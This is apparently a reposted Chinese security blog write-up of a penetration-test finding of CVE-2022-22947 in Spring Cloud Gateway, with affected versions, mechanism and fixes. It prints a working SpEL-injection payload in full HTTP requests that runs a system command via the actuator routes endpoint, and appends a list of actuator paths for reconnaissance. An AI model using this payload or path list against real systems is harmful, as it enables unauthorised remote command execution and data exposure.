一、基本介绍
CVE编号:CVE-2022-22947
Spring Cloud Gateway是Spring中的一个API网关。在某些版本存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
二、受影响的版本
Spring Cloud Gateway: 受影响的版本为 3.1.0 至 3.1.1 和 3.0.0 至 3.0.6。
三、过程
某次对一单位进行风险评估测试,透着透着发现actuator路径,看到这个直接想着路径扫描看看有没有Springboot Actuator未授权访问就算了(后续拼接路径后,确实也存在未授权)
后面想了想要不试试继续深入一下,验证有没有Spring-Cloud-Gateway 远程命令执行漏洞。
- 访问
https://xxxxxxxxx/actuator/gateway/routes
- 有戏,开始添加路由
POST /*******/actuator/gateway/routes/hack16 HTTP/2
Host: **********
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (WindowsNT10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71Safari/537.36
Content-Type: application/json
Content-Length: 329
{
"id": "hack16", #自己随意取名
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}" #运行时执行命令id
}
}
],
"uri": "http://example.com"
}
发包后显示创建成功
- 下一步
POST /actuator/gateway/refresh刷新路由
POST/*****/actuator/gateway/refresh HTTP/1.1
Host: *******
Accept-Encoding: gzip, deflate
Accept-Language: en
User-Agent: Mozilla/5.0 (WindowsNT10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71Safari/537.36
Content-Type: application/json
Content-Length: 0
- GET /actuator/gateway/routes/hack16
可以看到命令成功执行
四、漏洞原理
1、开启Acutator,可以通过接口列出路由(包括过滤器),如:actuator/gateway/routes
2、可以通过/actuator/gateway/routes/+id创建路由
3、然后/actuator/gateway/reflesh刷新路由
4、当添加的路由带有恶意的Filter,里面的spEL表达式就可能会被执行
五、修复方案
1、3.1.x用户应升级到3.1.1+;
2、3.0.x用户应升级到3.0.7+;
3、如果不需要Actuator功能,可以配置management.endpoint.gateway.enable:false
六、附录
分享一些常见的Spring-boot渗透中可能有用的路径
/actuator
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/auditevents
/actuator/health
/actuator/conditions
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/scheduledtasks
/actuator/httptrace
/actuator/jolokia
/actuator/hystrix.stream
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
原文始发于微信公众号(实战安全研究):记一次实际环境中遇到的Spring Cloud Gateway远程命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论